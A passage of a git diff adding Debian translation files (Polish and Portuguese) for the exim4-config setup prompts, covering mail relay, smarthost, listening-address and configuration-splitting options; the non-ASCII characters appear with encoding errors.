\"*\"." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Komputery dla których przekazywać pocztÄ™:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Wprowadź rozdzielonÄ… Å›rednikami listÄ™ zakresów adresów IP, od których ten " +"system ma bezwarunkowo przyjmować pocztÄ™, dziaÅ‚ajÄ…c na zasadzie poÅ›rednika." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Należy użyć standarowego formatu adres/dÅ‚ugość (np. 194.222.242.0/24 lub " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"JeÅ›li ten system nie powinien być poÅ›rednikiem dla żadnego innego systemu, " +"zostaw tÄ… listÄ™ pustÄ…." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Widoczna nazwa domeny dla lokalnych użytkowników:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Wybrano opcjÄ™ ukrywania lokalnej nazwy pocztowej w poczcie wychodzÄ…cej. Z " +"tego powodu musisz wprowadzić nazwÄ™ domeny, jaka ma być używana w adresach " +"lokalnych nadawców." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Adres IP lub nazwa poÅ›rednika przyjmujÄ…cego wychodzÄ…cÄ… pocztÄ™:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"ProszÄ™ podać adres IP lub nazwÄ™ serwera poczty, który bÄ™dzie przyjmowaÅ‚ caÅ‚Ä… " +"pocztÄ™ wychodzÄ…cÄ… z tego systemu. JeÅ›li przyjmuje on pocztÄ™ na porcie innym " +"niż TCP/25, podaj też numer portu po dwóch dwukropkach (na przykÅ‚ad poczta." +"przyklad.pl::587 lub 192.168.254.254::2525). Należy także podwoić dwukropki " +"w adresach IPv6." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Jeżeli poÅ›rednik wymaga uwierzytelniania, proszÄ™ zapoznać siÄ™ z Debianowymi " +"plikami README w /usr/share/doc/exim4-base, które zawierajÄ… uwagi na temat " +"konfiguracji uwierzytelniania." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Odbiorca poczty dla kont root i postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Poczta dla użytkowników \"postmaster\", \"root\" i innych kont systemowych " +"powinna być przekazywana na wÅ‚aÅ›ciwe konto użytkownika, który jest " +"administratorem." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"JeÅ›li zostawisz tÄ… wartość pustÄ…, poczta ta bÄ™dzie zapisywana w /var/mail/" +"mail, co nie jest zalecane." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Poczty dla \"postmastera\" nie powinno siÄ™ przesyÅ‚ać do innego systemu, " +"tylko czytać lokalnie. Dlatego conajmniej jeden z podanych użytkowników nie " +"powinien przekierowywać poczty na inny komputer. Aby wymusić lokalne " +"dostarczanie można użyć przedrostka \"real-\"." + +# Tak chyba lepiej niż kombinowanie z "Wiele nazw [...]" +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Wprowadź jednÄ… lub kilka nazw użytkowników, rozdzielone spacjami." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Adresy IP, na których nasÅ‚uchiwać nadchodzÄ…cych poÅ‚Ä…czeÅ„:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Wprowadź rozdzielonÄ… Å›rednikami listÄ™ adresów IP. Daemon SMTP Exima bÄ™dzie " +"nasÅ‚uchiwaÅ‚ na wszystkich tych adresach." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Pusta wartość spowoduje, że Exim bÄ™dzie nasÅ‚uchiwaÅ‚ na wszystkich dostÄ™pnych " +"interfejsach sieciowych." + +# To tÅ‚umaczenie nieco odbiega od oryginaÅ‚u, ale jest IMHO znacznie mniej +# zawiÅ‚e, a niesie tyle samo treÅ›ci. +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Jeżeli ten komputer otrzymuje pocztÄ™ wyÅ‚Ä…cznie od lokalnych usÅ‚ug, takich " +"jak programy pocztowe lub fetchmail (a nie od innych komputerów), zaleca siÄ™ " +"zabronić poÅ‚Ä…czeÅ„ z zewnÄ…trz do lokalnego serwera Exim. JeÅ›li podasz tu " +"tylko adres 127.0.0.1, poÅ‚Ä…czenia do Exima z zewnÄ…trz nie bÄ™dÄ… możliwe." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "" +"Utrzymywać ilość zapytaÅ„ DNS na minimalnym poziomie (dzwonienie na żądanie)? " + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"W normalnym trybie pracy Exim wykonuje zapytania DNS podczas startu, " +"otrzymywania i dostarczania poczty, w celach logowania zdarzeÅ„. Umożliwia to " +"też ograniczenie iloÅ›ci sztywnych wartoÅ›ci w plikach konfiguracji." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Na systemach bez staÅ‚ego dostÄ™pu do serwera DNS (na przykÅ‚ad używajÄ…cych " +"\"dzwonienia na żądanie\"), może to powodować niechciane konsekwencje. Dla " +"przykÅ‚adu, uruchomienie Exima lub kolejki (nawet bez oczekujÄ…cych " +"wiadomoÅ›ci) może wywoÅ‚ać wdzwanianie do ISP." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Należy wybrać tÄ… opcjÄ™ jeÅ›li system używa \"dzwonienia na żądanie\". JeÅ›li " +"dostÄ™p do Internetu jest staÅ‚y, opcjÄ™ tÄ… należy wyÅ‚Ä…czyć." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Konfiguracja serwera poczty" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Podzielić konfiguracjÄ™ na maÅ‚e pliki?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debianowe pakiety exima4 mogÄ… używać \"zwartej konfiguracji\", czyli " +"pojedynczego pliku konfiguracyjnego /etc/exim4/exim4.conf.template, albo " +"\"podzielonej konfiguracji\", gdzie do wÅ‚aÅ›ciwa konfiguracja jest budowana z " +"okoÅ‚o 50 mniejszych plików w /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"\"Zwarta konfiguracja\" nadaje siÄ™ lepiej do obszernych modyfikacji i jest " +"ogólnie bardziej stabilna, natomiast \"podzielona konfiguracja\" daje " +"możliwość wygodnego wprowadzania niewielkich modyfikacji, przy czym jest " +"bardziej krucha i Å‚atwiej jÄ… popsuć przy nieostrożnych zmianach." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"WiÄ™cej informacji na temat obu typów konfiguracji można znaleźć w plikach " +"README Debiana w /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Ukrywać lokalnÄ… nazwÄ™ w wychodzÄ…cej poczcie?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Nagłówki wychodzÄ…cej poczty mogÄ… być przepisywane, aby sprawić wrażenie, że " +"pochodzi ona z innego komputera. JeÅ›li wybierzesz tÄ… opcjÄ™, podmieniane bÄ™dÄ… " +"\"${mailname}\", \"localhost\" oraz \"${dc_other_hostnames}\" w nagłówkach " +"From, Reply-To, Sender oraz Return-Path." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "format mbox w /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Format Maildir w katalogu domowym" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Format dostarczania poczty lokalnie:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim może dostarczać pocztÄ™ w różnych formatach. Dwa najpopularniejsze to " +"mbox i Maildir. W formacie mbox, każda skrzynka to jeden plik w katalogu /" +"var/mail/. W formacie Maildir, każda wiadomość jest w osobnym pliku w ~/" +"Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Należy pamiÄ™tać, że wiÄ™kszość narzÄ™dzi pocztowych w Debianie domyÅ›lnie " +"zakÅ‚ada, że poczta jest dostarczana w formacie mbox." diff --git a/debian/po/pt.po b/debian/po/pt.po new file mode 100644 index 0000000..eae311c --- /dev/null +++ b/debian/po/pt.po @@ -0,0 +1,888 @@ +# Portuguese (Portugal) Translation Project (traduz@debianpt.org) +# Nuno Sénica <njs@av.it.pt>, 2004-2005 +# Miguel Figueiredo <elmig@debianpt.org>, 2005, 2006, 2007. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4-config 4.30-7\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-10-06 09:59+0100\n" +"Last-Translator: Miguel Figueiredo <elmig@debianpt.org>\n" +"Language-Team: Portuguese <traduz@debianpt.org>\n" +"Language: pt\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Remover mensagens não entregues no directório de spool?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Existem mensagens de e-mail no directório de spool do Exim /var/spool/exim4/" +"input/ que ainda não foram entregues. Remover o Exim irá fazer com que " +"fiquem por entregar até o Exim ser reinstalado." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Se esta opção não for escolhida, o directório de spool é mantido, permitindo " +"que as mensagens na fila de espera sejam entregues posteriormente após o " +"Exim ser reinstalado." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Reconfigurar exim4-config em vez deste pacote" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"O Exim4 tem a sua configuração num pacote dedicado, o exim4-config. Para " +"reconfigurar o Exim4, utilize 'dpkg-reconfigure exim4-config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "site internet; o mail é enviado e recebido usando SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "mail enviado por smarthost; recebido por SMTP ou fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "mail enviado por smarthost; não existe mail local" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "apenas entrega local; não se encontra numa rede" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "não configurar neste momento." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Tipo geral de configuração de mail:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Por favor escolha o tipo de configuração do servidor de mail que melhor se " +"adequa à s suas necessidades." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Sistemas com endereços IP dinâmicos, incluindo sistemas de acesso telefónico " +"geralmente devem ser configurados para enviar mails para outra máquina, " +"chamada de \"smart host\", para entrega porque na Internet muitos sistemas " +"que recebem mail bloqueiam mail vindo de IPs dinâmicos como protecção contra " +"spam." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Um sistema com um endereço de IP dinâmico pode receber o seu próprio mail, " +"ou a entrega local pode ser completamente desligada (excepto mail para o " +"root e para o postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Pretende deixar o sistema de mail não configurado?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Até o sistema de mail ser configurado, estará não-funcional e não poderá ser " +"utilizado. Poderá sempre configurá-lo mais tarde manualmente ou como root " +"executar o comando 'dpkg-reconfigure exim4-config'." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Nome do sistema de mail:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"O 'mail name' é o nome do domÃnio utilizado para 'qualificar' endereços de " +"mail sem um nome de domÃnio." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Este nome será também utilizado por outros programas; deverá ser um nome de " +"domÃnio totalmente qualificado (FQDN) e único." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Por isso, se um endereço de mail no host local for foo@exemplo.org, então o " +"valor correcto para esta opção será exemplo.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Este nome não irá aparecer nas linhas From: dos mails a enviar se estiver " +"activada a reescrita." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Outros destinos para os quais o mail deve ser aceite:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Por favor introduza uma lista, separada por pontos-e-vÃrgula, de domÃnios de " +"destino para os quais esta máquina deve considerar-se como sendo o destino " +"final. Estes domÃnios são normalmente chamados de 'domÃnios locais'. O nome " +"local da máquina (hostname) {${fqdn}) e 'localhost' são sempre acrescentados " +"à lista dada aqui." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Por omissão todos os domÃnios serão tratados de forma idêntica. Se ambos os " +"domÃnios a.exemplo e b.exemplo forem locais, acc@a.exemplo e acc@b.exemplo " +"serão entregues no mesmo destino final. Se diferentes nomes de domÃnios " +"devem ser tratados de forma diferente, é necessário posteriormente editar os " +"ficheiros de configuração." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "DomÃnios para os quais fazer relay:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Por favor introduza uma lista separada por ponto-e-vÃrgula de de domÃnios de " +"destino para os quais este sistema irá fazer relay ao mail, por exemplo como " +"MX de recurso ou gateway de mail. Isto significa que este sistema irá " +"aceitar mail para estes domÃnios de qualquer lado da Internet e entregá-lo " +"de acordo com as regras de entrega local." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Não mencione aqui domÃnios locais. Podem ser utilizados wildcards." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Máquinas para as quais fazer relay:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Por favor introduza uma lista de gamas de endereços IP separada por ponto-e-" +"vÃrgula para a qual este sistema irá incondicionalmente fazer relay ao mail, " +"funcionando como um 'smarthost'." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Você deve utilizar o formato padrão endereço/máscara (e.g. 194.222.242.0/24) " +"ou 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Se este sistema não deve ser um 'smart host' para qualquer outra máquina, " +"deixe esta lista vazia." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Nome de domÃnio visÃvel para os utilizadores locais:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Foi habilitada a opção para esconder o nome de mail local no mail que é " +"enviado. É por isso necessário especificar o nome do domÃnio que este " +"sistema deve utilizar para a parte do domÃnio dos endereços de envio dos " +"utilizadores locais." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Endereço IP ou nome da máquina 'smart host' de saÃda:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Por favor introduza o endereço IP ou o nome da máquina de um servidor de " +"mail que este sistema deva utilizar como 'smart host' de saÃda. Se o 'smart " +"host' apenas aceitar o seu mail num port diferente do TCP/25, acrescente " +"dois dois-pontos e o número do port (por exemplo smarthost.exemplo::587 ou " +"192.168.254.254::2525). Dois-pontos têm de ser o dobro em endereços IPv6." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Se o 'smarthost' necessitar de autenticação, por favor consulte os ficheiros " +"README especÃficos de Debian em /usr/share/doc/exim4-base para notas acerca " +"da configuração de autenticação SMTP." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Destinatário do mail para root e postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Mail para o 'postmaster', 'root', e outras contas de sistema necessitam ser " +"redireccionadas para a conta de utilizador do administrador do sistema." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Se este valor for deixado em branco, esse mail será guardado em /var/mail/" +"mail. O que não é recomendado." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Note que o mail para o postmaster deve ser lido no sistema para o qual é " +"direccionado, em vez de ser encaminhado para qualquer outro sitio, portanto " +"os (pelo menos um dos) utilizadores aqui listados não devem redireccionar o " +"seu mail para fora desta máquina. Um prefixo 'real' pode ser utilizado para " +"forçar a entrega local." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Vários nomes de utilizador têm de separados por espaços." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Lista de endereços IP nos quais escutar por ligações SMTP:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Por favor introduza uma lista de endereços IP separados por ponto-e-vÃrgula. " +"O daemon de escuta SMTP Exim irá escutar todos os endereços IP aqui listados." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Um valor vazio irá fazer com que o Exim escute ligações em todos os " +"interfaces de rede disponÃveis." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Se este sistema apenas receber mail directamente de serviços locais (e não " +"de outras máquinas), é sugerido proibir as ligações externas ao daemon local " +"do Exim. Tais serviços incluem programas de e-mail (MUAs) que apenas " +"comunicam com o localhost assim como o fetchmail. As ligações externas são " +"impossÃveis quanto é introduzido 127.0.0.1 aqui, já que isto irá desabilitar " +"a escuta nos interfaces públicos de rede." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Manter o número de pesquisas DNS mÃnimas (Dial-on-Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"No modo normal de operação o Exim executa pesquisas DNS no arranque, e " +"quando recebe ou entrega mensagens. Para propósitos de logging e para manter " +"baixo o número de valores fixos na configuração." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Se este sistema não tem um resolver de DNS permanentemente disponÃvel (por " +"exemplo se o seu acesso à Internet é uma ligação dial-up que utiliza dial-on-" +"demand, isto pode ter consequências indesejadas. Por exemplo, iniciar o Exim " +"ou correr a lista de espera (mesmo sem mensagens em espera) pode activar um " +"evento de pedido que envolvesse custos telefónicos." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Esta opção deve ser escolhida se este sistema está a utilizar Dial-on-" +"Demand. Se tiver sempre acesso à Internet, esta opção deve ser desligada." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Configuração do Servidor de Mail" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Dividir a configuração em pequenos ficheiros?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Os pacotes Debian do exim4 podem usar quer uma 'configuração não-dividida', " +"que consiste num único ficheiro monolÃtico (/etc/exim4/exim4.conf.template) " +"ou uma 'configuração dividida', onde os verdadeiros ficheiros de " +"configuração são construÃdos a partir de cerca de 50 pequenos ficheiros em /" +"etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: 